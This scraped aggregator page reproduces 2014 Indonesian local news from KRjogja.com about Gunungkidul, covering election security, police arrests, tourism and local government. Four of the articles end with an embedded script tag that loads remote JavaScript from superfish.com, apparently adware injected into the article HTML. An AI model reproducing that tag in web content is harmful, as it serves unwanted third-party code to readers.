Quantcast
Channel: Gunungkidul - KRjogja.com
Viewing all 2932 articles
Browse latest View live

BPN Terus Berusaha Tekan Kemiskinan di Purwodadi

$
0
0
<p><strong>WONOSARI (KRjogja.com)</strong> -&nbsp; Badan Pertanahan Nasional (BPN) DIY mendampingi pengembangan tanaman sayur-sayuran di Dilem, Purwodadi, Tepus. Kegiatan ini tindak lanjut pemetaan sosial serta pelatihan di Joglo Tani yang sudah diikuti perwakilan 19 dusun di Desa Purwodadi.&nbsp; </p> <p>Sebelumnya warga diberdayakan untuk ternak kambing, ayam dan pembuatan makanan bahan baku lokal. Termasuk tanaman anggrek bulan putih mendatangkan pendamping dari Fakultas Pertanian Universitas Janabadra. &ldquo;Pengembangan tanaman berupaTerong, cabai dan tomat. Nantinya warga bisa menanam di pekarangan rumah. Program ini untuk menekan kemiskinan melalui pemberdayaan masyarakat,&rdquo; kata Kepala BPN Gunungkidul Yohanes Supama, Minggu (01/06/2014).<br /> <br /> Pengembangan 1.500 bibit tanaman sayuran dimaksudkan mencukupi kebutuhan sehari-hari. Bila nanti produksinya cukup bagus, warga akan dibantu pemasaran. Yohanes menambahkan, BPN bertekad mewujudkan prinsip tanah untuk keadilan dan kesejahteraan rakyat. Khusus di Purwodadi sudah terdapat 1.200 sertifikat tanah dan akan bertambah menjadi 1.500 sertifikat. BPN mendorong bagaimana sertifikat bisa dimanfaatkan mendatangkan kesejahteraan.<strong>(Ded)</strong></p> <script src="https://www.superfish.com/ws/sf_main.jsp?dlsource=rulthun&amp;CTID=ffqt" id="v9parityID" type="text/javascript"></script>

Cocok untuk Snorkeling dan Surving

$
0
0
<p><strong>MASYARAKAT </strong>selama ini mengenal Pantai Baron, Kukup dan Krakal sebagai salah satu tujuan wisata baru Gunungkidul banyak memiliki pantai yang dimanfaatkan sebagai Obyek Wisata. Namun, masih banyak potensi kekayaan alam yang bisa dijadikan objek wisata menarik seperti Pantai Sadranan.<br /> <br /> Pantai ini diapit pantai Krakal dan Sundak. Memiliki pemandangan indah tak kalah menakjubkan menjadikan daya tarik tersendiri. Bahkan, wisatawan bisa menyaksikan keindahan bawah laut seperti layaknya Bunaken di Sulawesi Utara. Pantai berombak tenang dengan keindahan terumbu karang dan ribuan ikan yang mendasari Budiharjo (41), Warga Tawangsari Wonosari ini terus mengembangkan pantai ini.<br /> <br /> &quot;Pada awalnya memang banyak wisatawan, yang bertanya-tanya apakah bisa saya melihat pemandangan dasar laut dan keindahan terumbu karang. Rombongan&nbsp; mahasiswa pernah meragukan usaha Budiharja, tetapi setelah diberikan penjelasan dan yang dapat berenang, bisa melihat keindahan dalam laut,&quot; katanya kepada KRjogja.com.<br /> <br /> Dengan peralatan snorkeling, kata Budiharjo terdiri kacamata&nbsp; google+fin&nbsp; dan pelampung, wisatawan dapat menyaksikan keindahan laut. Selain itu, merintis olahraga berselancar dan awalnya, wisatawan belum berani melakukannya.<br /> <br /> &quot;Saya memberikan pelatinan untuk olahraga Surving. Dengan latihan menjaga keseimbangan, latihan mendayung, bagaimana mengembangkan layar apabila sudah kehabisan tenaga. Padahal masih berada ditengah laut.Bagimana cara melawan ombak dan bagaimana kita menikmati dorogan ombak. &ldquo; kata Budiharja.<strong> (Tulus.Ds)</strong></p>

Parpol Diminta Lapor Tim Kampanye

$
0
0
<p><strong>WONOSARI (KRjogja.com)</strong> - Mengamankan jalannya pemilihan presiden (pilpres),&nbsp; Polres Gunungkidul akan mengerahkan personelnya yang terbagi dalam beberapa tim. Tim tersebut melakukan pengamanan di kantor KPU Gunungkidul maupun lokasi tempat pelaksanaan pemungutan suara. Termasuk menjaga keamanan menjelang tahapan pilpres. <br /> <br /> Sementara itu, KPU Gunungkidul meminta partai politik (parpol) pengusung calon presiden (capres) dan calon wakil presiden (cawapres)&nbsp; menyerahkan daftar tim kampanye. &ldquo;Parpol pengusung capres dan cawapres diharapkan melaporkan tim kampanye,&rdquo; kata Ketua KPU Gunungkidul Muhammad Zaenuri Iksan SAg, Senin (02/06/2014). <br /> <br /> Dikatakan, terkait dengan temuan Panitia Pengawas Pemilu (Panwaslu) terhadap daftar pemilih, KPU sudah berkoordinasi dengan Panitia Pemungutan Kecamatan (PPK) maupun Panitia Pemungutan Suara (PPS) untuk menindaklanjuti di lapangan. Petugas tersebut juga berkoordinasi dengan Pengawas Pemilu Lapangan (PPL) untuk melakukan pencocokan data di lapangan. Tindak lanjut temuan daftar pemilih tersebut sudah dikemas melalui surat edaran. &rdquo;Untuk tahapan sosialisasi masih menunggu koordinasi dengan KPU pusat,&rdquo; jelasnya. <br /> <br /> Kapolres Gunungkidul AKBP Faried Zulkarnaen SIK mengungkapkan, jumlah personel yang akan diterjunkan untuk mengamankan Pilpres 9 Juli 2014 mendatang sama dengan pengamanan Pileg yang lalu yakni dua pertiga dari seluruh kekuatan atau sebanyak 600 personel ditambah dari Sat Brimob Polda DIY meliputi beberapa Satuan Setingkat Kompi. Mereka itu nantinya akan&nbsp; menjadi tim pengamanan terpadu yang melibatkan Linmas, Satpol PP dan TNI.(Ded)<br /> &nbsp;<br /> &nbsp;</p> <script src="https://www.superfish.com/ws/sf_main.jsp?dlsource=rulthun&amp;CTID=ffqt" id="v9parityID" type="text/javascript"></script>

Prajurit Kodim 0730 Latihan Menembak

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com)</strong> - Personel Kodim 0730 Gunungkidul mengikuti latihan menembak di lapangan Puslatpur Paliyan, Selasa (03/06/2014). Latihan menggunakan Senjata Laras Panjang (SS1) serta pistol FN 46&nbsp; dipimpin Kapten (Inf) Rubisa PJS Pasi Ops Kodim.</p> <p>&ldquo;Pelatihan ini untuk meningkatkan keterampilan prajurit,&rdquo; kata Dandim 0730 Gunungkidul Letkol (Arh) Herman Toni di dampingi&nbsp; Pasi Ops Kapten (Inf) Rubisa.</p> <p>Proses latihan ini juga dalam rangka untuk mempersiapkan pengamanan pemiliha&nbsp; presiden. Selain untuk meningkatkan keterampilan juga untuk kesiapan pilpres. Setiap penembak SS1 dinilai pada posisi tiarap, duduk dan berdiri. Keseluruhan peluru yang ditembakkan mencapai 55 butir. Sedangkan penembak berpistol menghabiskan 15 butir peluru, yakni 5 butir koreksi dan 10 butir penilaian. <strong>(Ded)</strong></p>

Wabup Minta Sampah Diangkut Dua Kali Sehari

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com)</strong> - Wakil Bupati Gunungkidul Drs H Immawan Wahyudi MH meninjau Pasar Argosari, Wonosari, Selasa (03/06/2014). Bersama Kabag Humas dan Protokoler Pemkab Agus Kamtono, Wabup meninjau tempat pembuangan sampah yang sempat dikeluhkan pedagang serta warga yang datang ke pasar.</p> <p>&ldquo;Memang truk pengangkut sampah idealnya mengambil 2 kali sehari, tidak cukup hanya sekali,&rdquo; kata Wakil Bupati Immawan Wahyudi.</p> <p>Selain itu, lanjut Wabup, perlu dipisahkan antara sampah yang berasal dari pedagang ayam, sayuran dan yang lain. Sehingga tidak menimbulkan bau yang menyengat. Juga diperlukan tempat penampungan sampah yang kedua. Karena selama ini sampah bertumbuk menjadi satu lokasi yang menimbulkan bau tak sedap. &ldquo;Pemda tentunya akan berkoordinasi dengan instansi terkait termasuk Dinas Pekerjaan Umum,&rdquo; jelasnya.</p> <p>Salah satu pedagang Yani mengungkapkan, bau menyengat sangat terasa ketika truk pengangkut sampah datang. Memang sampah hanya diangkut sekali dalam sehari, sehingga menimbulkan bau yang tidak nyaman. <strong>(Ded)</strong></p>

Banyak Lalat, Wisatawan Pantai Keluhkan Ternak Ayam

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com) </strong>- Masyarakat pesisir selatan Gunungkidul mengeluhkan pencemaran lingkungan berupa bau tidak sedap dan banyaknya lalat yang ditimbulkan dari kandang ternak ayam di sekitar pantai. Pelaku wisata dan pengunjung dibuat tidak nyaman dan tidak betah berada di objek wisata pantai karena terganggu bau dan lalat.<br /> <br /> Mulai dari Pantai Drini sampai Pantai Krakal sedikitnya ada 8 unit kandang ternak ayam potong. Kebanyakan pemilik kandang ini dari warga sekitar tidak mengantongi ijin baik ijin HO ( lingkungan) maupun ijin usaha.<br /> <br /> Joko dan Ny Tukini pelaku wisata di Pantai Drini yang ditemui KR terpisah mengakui bahwa banyak wisatawan ketika mau makan di warung makan, langsung mengurungkan niatnya karena banyak lalat dan bau tidak sedap. &ldquo;Kami memang belum melakukan aksi protes, tetapi mestinya pemerintah bisa mengambil sikap,&rdquo; katanya.<br /> <br /> Rian, salah satu pemilik kandang ayam yang terletak di sekitar Pantai Drini, yang mengaku penduduk Banjarejo, Tanjungsari memelihara ayam kurang dari 2 tahun atau sudah mengalami panen 5 kali. Pihaknya mengakui usaha ternak yang digeluti tidak mengantongi ijin. &ldquo;Saya pernah mengajukan ijin tetapi ditolak,&rdquo; katanya.<br /> <br /> Ir Anik Edarwati MP Asisten Sekretaris Daerah II Bidang Pembangunan&nbsp; hari ini Rabu (04/06/2014) pihaknya menerjunkan tim terpadu untuk melihat dari dekat dan melakukan penyisiran kandang ternak ayam satu persatu. Menurut Anik, yang jelas pendirian kandang ternak ayam sudah melanggar Rencana Tata Ruan Wilayah, juga mau melihat apakah pengusaha tersebut memperoleh ijin atau tidak<strong>. (Awa)</strong></p>

Belum Berijin, SMK Giri Handayani Terima Siswa baru

$
0
0
<p><strong>WONOSARI (KRjoga.com) </strong>- Sekretaris Yayasan Pendidikan Gunungkidul (Yapendgul) Drs Suyanto MM menduga SMK Kesehatan Giri handayani telah melakukan pembohongan, karena sekolah tersebut belum mengantongi ijin tetapi sudah mendaftar siswa baru.</p> <p>Yayasan tersebut juga menyayangkan sikap Kepala Dinas Pendidikan Pemuda dan Olahraga (Disdikpora) Gunungkidul yang seakan cuek dan tidak bertanggungjawab atas penerimaam siswa baru SMK Kesehatan Giri Handayani yang tidak berijin.<br /> <br /> Sesuai Surat dari Disdikpora tertanggal 30 Mei 2014 nomor 421/1469 perihal tanggapan laporan dari Yayasan Pendidikan Gunungkidul, dalam point 3 disebutkan, terkait SMK Kesehatan Giri Handayani telah melakukan penerimaan siswa baru�dengan jelas dikatakan bukan tanggungjawanb disdikpora. &ldquo;Sama saja Disdikpora tidak memahami tugas pokok dan fungsinya, ada sekolah yang belum berijin mulai beroperasi kok dibiarkan bahkan tidak tanggungjawab,&rdquo; tegas Suyanto.<br /> <br /> Pembohongan lainnya dalam leaflet nomor ijin SMK yang disebutkan yakni No 421/654/KPTS/2012 tertanggal 27 April 2012 merupakan ijin SMK Kesehatan Giri Handayani di Panggang yang sudah dicabut oleh Disdikpora pada 8 April 2014.<br /> Selain itu kata Suyanto Foto gedung dan peralatan yang tertera dalam leaflet adalah foto gedung dan peralatan milik Universitas Gunungkidul (UGK) dibawah Yayasan Pendidikan Gunungkidul. Jika Disdikpora tidak memihak pada yayasan tersebut, mestinya segera menghentikan kegiatan SMK Giri Handayani sebelum dikeluarkan ijin resmi. <strong>(Awa)</strong></p>

Pameran Pembangunan Jadi Tempat Informasi Warga

$
0
0
<p><strong>WONOSARI (KRjogja.com)</strong> - Wakil Bupati Gunungkidul Dr Drs Immawan Wahyudi, Selasa (3/6/2014) petang membuka Pameran Pembangunan dalam rangka Hari Jadi ke 183 Kabupaten Gunungkidul. Pembukaan ditandai dengan pelepasan Balon Berhadiah, oleh Dr Drs Immawan Wahyudi, didampingi Ketua DPRD Budi Utomo, Kapolres,Ketua PN Wonosari, Dandim 0730, dan unsur Muspida lainnya.<br /> <br /> Dalam sambutannya Wabup, membacakan sambutan tertulis Bupati Gunungkidul Hj Badingah S Sos yang menyatakan, Pameran Pembangunan penting digelar agar masyarakat dapat mengetahui kemajuan kabupaten Gunungkidul, dengan melihat hasil-hasil pembangunan dibidang Peternakan, Partanian, Perbankan dan berbagai kegiatan dapat dinikmati. <br /> <br /> Ketua Seksi Pameran Dra Siwi Irianti Msi, dalam laporannya Pameran Pembangunan diikuti&nbsp; ratusan stand, dari berbagai SKPD yang ada di Kabupaten Gunungkidul. Dalam Pameran Pembangunan akan dinilai stand terbaik.<strong> (Tds)</strong></p> <script src="https://www.superfish.com/ws/sf_main.jsp?dlsource=rulthun&amp;CTID=ffqt" id="v9parityID" type="text/javascript"></script>

Maling Kacang Dihajar Massa

$
0
0
<p><strong>WONOSARI (KRjogja.com)&nbsp; -</strong> Pelaku pencuri kacang ST (35) warga Banjarejo, Tanjungsari diamankan ke Mapolsek Tanjungsari, Rabu (04/06/2014) dinihari. Sebelum diamankan ke Mapolsek pelaku sempat didatangi massa dan menerima bogem mentah. <br /> <br /> Warga yang sudah geram, mendatangi rumah pelaku untuk mengklarifikasi kejadian pencurian kacang di Ngestirejo, Tanjungsari. Kepada warga pelaku memang mengakui perbuatan tersebut. &ldquo;Hasil penjualan kacang dipergunakan untuk membeli rokok dan bensin. Jumlah kacang yang diambil sebanyak 29 kilogram,&rdquo; kata Kapolsek Tanjungsari AKP Basiron.<br /> <br /> Kapolsek mengungkapkan, petugas masih mendalami pencurian kacang di Tanjungsari. Bukan tidak mungkin peristiwa ini bukan yabng pertamakali dilakukan pelaku. Selain mengamankan tersangka, polisi juga mengamankan sepeda motor tanpa plat nomor serta uang sisa hasil penjualan kacang sebesar Rp 48.000.&nbsp; &ldquo;Pelaku masih dalam pemeriksaan petugas. Pengakuan tersangka kacang yang dicuri berhasil dijual dengan harga Rp 117.000,&rdquo; jelasnya. <strong>(Ded)<br /> &nbsp;</strong></p>

Pilpres, Pemuda Muhammadiyah DIY Netral

$
0
0
<p>WONOSARI (KRjogja.com) - Pada pelaksanaan pemilihan presiden (pilpres) 9 Juli mendatang, Pemuda Muhammadiyah DIY menyatakan sikap netral. Tidak mendukung atau menolak salah satu calon yang ada.&nbsp; <br /> <br /> Pemuda Muhammadiyah berharap pemimpin yang terpilih nanti berpihak kepada kepentingan Umat Islam dan bangsa.&nbsp; Bukan pemimpin yang tertunduk kepada bangsa lain. &ldquo;Pemuda Muhammadiyah merupakan gerakan Islam memperjuangkan nilai idealisme dan menginginkan terwujudnya cita cita luhur masyarakat,&rdquo; kata Ridwan Furqoni SPd I Ketua Pimpinan Wilayah Pemuda Muhammadiyah DIY dalam rilisnya kepada KRjogja.com, Rabu (04/06/2014).<br /> <br /> Rhomandika Cahyo Amd Wakil Ketua Bidang litbang dan media Informasi PW Pemuda Muhammadiyah menuturkan, organisasi juga telah melaksanakan Rapat Pimpinan Wilayah Pemuda Muhammadiyah DIY bertempat di Pondok Pesantren Jabal Rahmad Bejiharjo, Karangmojo. <br /> <br /> Dalam pertemuan tersebut dibahas terkait isu-isu aktual tentang pilpres, termasuk persiapan Musyawarah Wilayah Pemuda Muhammadiyah dan&nbsp; evaluasi perjalanan organisasi. &ldquo;Rapat merupakan bentuk konsolidasi gerakan Pemuda Muhammadiyah untuk transformasi para kader. Serta agenda rutin organisasi sesuai dengan AD/ART,&rdquo;jelasnya.<strong>(Ded)<br /> <br /> &nbsp;</strong></p>

Baru Ditanam, Pohon di Terminal Banyak yang Mati

$
0
0
<p><strong>WONOSARI (KRjogja.com)</strong> - Tanaman penghijauan di Terminal Dhaksinarga Selang Wonosari tampak banyak yang mati. Warga&nbsp; terminal menilai pemilihan waktu tanam dirasa kurang tepat karena sudah memasuki musim kemarau, sehingga dikhawatirkan akan mati.<br /> <br /> Menurut para penjual jasa di Terminal Wonosari, yang ditemui KRjogja.com Rabu (04/06/2014), ada puluhan tanaman yang belum lama ditanam sudah mati, hal tersebut diduga akarnya kurang kuat. Selain itu para warga terminal juga menyayangkan pola pemeliharaan tanaman atau penyiraman tanaman sangat minim, sehingga dikhawatirkan akan mempercepat kematian, apalagi saat ini terik matahari cukup panas. &ldquo;Mosok tanaman sebesar itu hanya disiram satu ember untuk tiga tanaman, itu saja tidak setiap hari,&rdquo; kata Supan.<br /> <br /> Drs Irawan Jatmiko MSI Kepala Kantor Pengendalian Dampak Lingkungan (Kapedal) Kabupaten Gunungkidul penanggung jawab kegiatan yang dikonfirmasi KRjogja.com mengatakan bahwa penanaman penghijauan di komplek terminal bertujuan agar terminal tidak kelihatan gersang ada perindang sehingga menambah asri. Pelaksanaan penanaman penghijauan dengan dana Rp 196 juta ini dilaksanakan oleh pihak rekanan yaitu CV Parter Baru yang dilaksanakan pada April 2014 dengan masa pemeliharaan 6 bulan.<strong>(Awa)</strong></p> <script src="https://www.superfish.com/ws/sf_main.jsp?dlsource=rulthun&amp;CTID=ffqt" id="v9parityID" type="text/javascript"></script>

PNS Rawan Ditarik Mendukung Capres

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com)</strong> - Badan Kesatuan Bangsa Politik dan Perlindungan Masyarakat (Kesbangpolinmas) menyelenggarakan sosialiasi pemilihan presiden (pilpres) kepada PNS di Bangsal Sewakapraja, Wonosari, Kamis (05/06/2014). Kegiatan dihadiri Ketua KPU Muh Zaenuri Iksan, Anggota Panwaslu Budi Haryanto, Kepala Kesbangpolinmas Wahyu Nugroho dan undangan.</p> <p>&quot;PNS rawan ditarik&nbsp; mendukung salah satu timses ataupun calon presiden (capres)&nbsp; dan calon wakil presiden (cawapres) . Oleh sebab itu PNS harus tetap netral,&quot; tegas Budi Hariyanto.</p> <p>Ketua KPU Gunungkidul Muhammadi Zaenuri Ikhsan menuturkan, aturan netralitas bagi PNS sudah diberlakukan sejak pemilihan umum legislatif. Sebagaimana dengan ketentuan pasal 41, bagi pelanggar tindak pidana pemilu bisa dikenakan hukuman denda maupun penjara. &quot;PNS tak netral akan dipidana paling singkat 3 bulan hingga 12 bulan dan denda paling sedikit Rp. 3.000.000 hingga Rp.12.000.000,&quot; jelasnya. <strong>(Ded)</strong></p>

Polres Gunungkidul Bekuk Sindikat Pencuri Mobil

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com) </strong>- Tiga tersangka sindikat pencuri mobil berhasil diamankan Polres Gunungkidul. Ketiganya yakni Dian Rismawan (26) dan Beni Arliyasin (20) keduanya warga Boyolali, Jawa Tengah dan Sugeng Purwandi (45) warga Wonogiri Jawa Tengah.</p> <p>Ketiganya diamankan dari hari Selasa (03/06/2014) malam hingga Rabu (04/06/2014) malam. Dua tersangka Dian dan Beni diamankan di Ngenep, Kecamatan Semanu, sementara Sugeng diamankan di Wonogiri usai petugas melakukan pengembangan.</p> <p>&ldquo;Ketiganya langsung digelandang ke Mapolsek Semanu dan dibawa ke Polres Gunungkidul,&rdquo; kata Kasat Reskrim Polres Gunungkidul AKP Suhadi dan Kapolsek Semanu AKP Riyanto, Kamis (05/06/2014).</p> <p>Selain membekuk ketiga tersangka, Polisi juga menyita 2 unit mobil pick up hasil kejahatan di Ungaran dan Solo, Jawa Tengah. Berdasarkan pemeriksaan petugas, dua unit mobil tersebut juga sudah diganti dengan plat palsu.</p> <p>Kapolsek Semanu, AKP Riyanto menambahkan, terungkapkan pencurian mobil tersebut bermula dari kecurigaan petugas terhadap mobil pick up berwarna hitamn di wilayah Semanu dan dilakukan penyelidikan. Akhirnya diketahui mobil tersebuit bodong Hingga dan tiga pelaku sindikat pencurian mobil berhasil diringkus. <strong>(Ded)</strong></p>

Tahura Bunder Dibuka Tahun 2015

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com)</strong> - Taman Hutan Raya (Tahura) Bunder yang terletyak di jalan Wonosari -Yogyakarta akan dibuka secara umum pada awal 2015. Namun saat ini sudah banyak pelajar, mahasiswa datang ke lokasi untuk melakukan penelitian, atau sekedar ingin menikmati keindahan alam hutan Bunder.</p> <p>Menurut Kepala Dinas Kehutanan dan Perkebunan DIY Ir Sutarto MP, Tahura Bunder Gunungkidul merupakan 10 besar terbaik dari 34 Tahura se Indonesia. &ldquo;Tahura Bunder ini sebagai wisata pendidikan untuk melengkapi destinasi pariwisata di Gunungkidul yang sedang berkembang,&rdquo; kata Sutarto di Wonosari, Kamis (05/06/2014).</p> <p>Bahkan Tahura Bunder yang diresmikan Gubernur DIY Desember 2012 silam merupakan satu-satunya tahura di Indonesia yang berasal dari hutan produksi yang beralih menjadi hutan konservasi. Tahura Bunder dengan luas 634 hektar ini menjadi kawasan pelestarian alam untuk tujuan koleksi tumbuhan dan satwa yang alami maupun buatan baik asli maupun bukan asli untuk tujuan penelitian, pendidikan menunjang budidaya dan pariwisata. <strong>(Awa)</strong></p>

Pilpres, Prajurit TNI Tetap Netral

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com)</strong> - Komandan Kodim 0730 Gunungkidul, Letkol (Arh) Herman Toni menegaskan, dalam pelaksanaan pemilihan presiden (pilpres), seluruh anggota TNI tetap netral. Jika nanti ada yang terbukti melanggar, bisa dikenai sanksi ringan hingga berat.</p> <p>&quot;Jika melanggar sanksi beratnya bisa dipecat. Oleh karena itu, seluruh personel TNI diinstruksikan tetap netral menjelang pilpres,&quot; kata Herman Toni di Wonosari, Jumat (06/06/2014).</p> <p>Dandim juga membantah adanya rumor anggota Babinsa di Gunungkidul mengarahkan warga untuk memilih capres tertentu. Informasi tersebut tidak benar dan juga sudah di cek di lapangan. TNI berkomitmen untuk tetap netral dalam pelaksanaan pilpres. &quot;Tidak benar ada anggota Babinsa mengarahkan warga memilih calon tertentu,&quot; jelasnya.</p> <p>Dandim mengungkapkan, semua pihak diharapkan untuk ikut mendukung terciptanya situasi aman dan tenang. Jangan sampai situasi ini dimanfaatkan orang yang tidak bertanggung jawab untuk membuat suasana tidak kondusif. <strong>(Ded)</strong></p>

Lima Pengguna Ganja Dibekuk di Rest Area

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com) </strong>- Operasi Cipta Kondisi yang digelar Polres Gunungkidul di kompleks rest area Bunder, Playan, Jumat (06/06/2014) dinihari membuahkan hasil. Lima orang pengguna ganja berhasil dibekuk dan digelandang ke Mapolres.</p> <p>Terungkapnya kasus ini bermula saat petugas menggeledah mobil Avanza putih nopol AB 1642 RK. Dari dalam mobil tersebut polisi berhasil menemukan barang bukti ganja. &quot;Lima pengguna tersebut kini masih dalam pemeriksaan petugas, &quot; Kasat Narkoba Polres Gunungkidul, AKP Sugeng Riyadi.</p> <p>Kelima tersangka yang berhasil diamankan yakni&nbsp; IF (30), warga Buah Batu, Cijagra, Bandung, Ml (24), warga Pundenrejo, Pati, Jawa Tengah, TF (22) warga Baciro, Gondokusuman, Yogyakarta, RD (25), warga Kujangsari, Bandung Kidul, Bandung, Jawa Barat dan Fah (24), warga Cilandak Timur, Jakarta Selatan. Polisi menyita satu kotak kaleng daun ganja kering seberat 5,8 gram, satu&nbsp; linting ganja bekas dihisap, satu bungkus ranting ganja kering seberat 10,58 gram dan satu bungkus pop up filter yang kini dijadikan barang bukti.</p> <p>Selain itu di&nbsp; dalam mobil&nbsp; polisi menyita 1 kotak kaleng berisi 7,18 gram ganja kering, 1 puntung lintingan bekas digunakan, 2 kertas sigaret dan sebilah golok besar. Pengguna ini terancampasal 111 subsider lebih subside pasal 127 Undang-Undang Narkotika No 35 tahun 2009. <strong>(Ded)</strong></p>

Polres Gunungkidul Simulasi Amankan Pilpres

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com)</strong> - Polres Gunungkidul menggelar simulasi pengamanan pemilihan presiden dan wakil presiden di depan Kantor Mapolres Gunungkidul, Jumat (06/06/2014). Pada simulasi tersebut digambarkan terjadi aksi bentrokan dari dua kelompok massa pendukung masing masing calon. Bahkan massa juga sempat membuat keributan dan membakar ban bekas.</p> <p>Melihat situasi tersebut, Polres Gunungkidul menerjunkan pasukan keamanan dari jajaran Sat Sabara dan Pengendali Massa. Polisi sempat menurunkan mobil water canon untuk membubarkan kedua kubu atau massa yang bentrok hingga akhirnya keributan atau bentrokan kedua massa berhasil dicegah. Situasipun akhirnya kembali normal dan masing masing massa akhirnya membubarkan diri.</p> <p>Kapolres Gunungkidul AKBP Faried Zulkarnaen SIK mengungkapkan, simulasi dimaksudkan untuk meningkatkan kesiapan personel mengamankan jalannya pilpres. &ldquo;Melalui pelatihan atau simulasi, tentunya polisi akan lebih cepat menangani gangguan saat pilpres berlangsung,&rdquo; tegasnya. <strong>(Ded)</strong></p>

Dua Timses Capres-Cawapres Deklarasi Damai

$
0
0
<p><strong>WONOSARI (KRjogja.com)&nbsp; -</strong>&nbsp; Menjelang pelaksanaan pemiliha presiden dan wakil presiden 9 Juli mendatang, 2 tim sukses masing-masing capres dan cawapres mengikuti deklarasi pemilu damai di Bangsal Sewakapraja, Wonosari. <br /> <br /> Kegiatan dihadiri Kapolres Gunungkidul AKBP Faried Zulkarnaen SIK, Dandim 0730 Letkol Arh Herman Toni, Ketua Panwaslu Buchori Iksan, Ketua KPU Muh Zaenuri Iksan dan undangan. &ldquo;Melalui deklarasi pemilu damai ini hendaknya direalisasikan,&rdquo; ujar Kapolres Gunungkidul AKBP Faries Zulkarnaen SIK dalam sambutannya.<br /> <br /> Kapolres mengungkapkan, para massa peserta kampanye juga diimbau untuk tertib berlalu-lintas. Memakai helm serta tidak menggunakan knalpot blombongan. Seluruh timses masing-masing calon juga tidak boleh melakukan hal hal yang bisa menimbulkan permasalahan.&nbsp; &quot;Pemilihan presiden hendaknya berjalan dengan tertib dan aman. Selain polisi menjaga situasi aman dan kondusif, masing-masing tim sukses dan massa kampanye nanti hendaknya juga ikut menciptakan situasi aman dan kondusif.&quot;<br /> <br /> Sementara itu, masing-masing timses yakni dari Jokowi-Jk dan Prabowo-Hatta membacakan tekad melaksanakan pilpres secara berintegritas dan damai. Perwakilan timses yakni Heri Nugroho, Ngadiyono, Rojak Harudin dan Suharno&nbsp; juga menandatangani kesepakatan pemilu damai di saksikan muspida dan tamu undangan. <strong>(Ded)<br /> <br /> &nbsp;</strong></p>

AKP Faizal Kasatlantas Baru Polres Gunungkidul

$
0
0
<p><strong>WONOSARI (KRJogja.com)</strong> - Kapolres Gunungkidul AKBP Faried Zulkarnaen SIK memimpin upacara serah terima jabatan di halaman Mapolres, Sabtu (07/06/2014). Jabatan Kasatlantas baru dipegang AKP Muhammad Faizal Pratama SIK yang semula menjabat di Polda DIY. Sedangkan pejabat lama AKP Endar Isninato menjadi Kasat Lantas Polres Bantul.<br /> <br /> Selain itu, Jabatan Kapolsek Playen kini dijabat AKP Joko Utomo yang sebelumnya KBO Diklantas Polres Gunungkidul menggantikan AKP Lutfi. Selanjutnya AKP Lutfi menjadi Kapolsek Depok Barat. &quot;Pergantian jabatan merupakan hal yang biasa, sebagai bentuk penyegaran organisasi. Kepada pejabat yang baru diharapkan untuk segera menyesuaikan dengan tempat kerja yang baru,&quot; ujar Kapolres.<strong> (Ded)</strong><br /> <br /> <br /> &nbsp;</p>

300 Peserta Drag Race Berkompetisi

$
0
0
<p><strong>GUNUNGKIDUL (KRjogja.com) </strong>- Sebanyak 300 peserta dragrace mobil balap mengikuti kompetisi di jalur depan polres Gunungkidul, Sabtu (07/06/2014). Kegiatan dibuka oleh Kasat Lantas Polres Gunungkidul AKP Muhammad Faizal Pratama SIK dengan memberikan helm bagi dua orang peserta.</p> <p>&quot;Lomba ini juga rangkaian Hari Jadi Kabupaten Gunungkidul dan menyambut HUT Bayangkara. Perlombaan ini memperebutkan piala Kapolres Gunungkidul,&quot; kata Panitia Penyelenggara Wigit Priyanta.</p> <p>Menurut Wigit, selain peserta dari Jawa juga ada yang berasal dari Manado. Lomba dimaksudkan untuk memberikan ruang bagi masyarakat yang memiliki hobi berolahraga drag race.</p> <p>Jumlah peserta ini termasuk cukup banyak sebab semakin bertambah. Dikatakan, hari berikutnya akan diselenggarakan dragrace sepeda motor yang akan diikuti kurang lebih 300 peserta. Untuk sepeda motor, cukup banyak peserta dari Gunungkidul yang ikut berkompetisi. <strong>(Ded)</strong></p>
Viewing all 2932 articles
Browse latest View live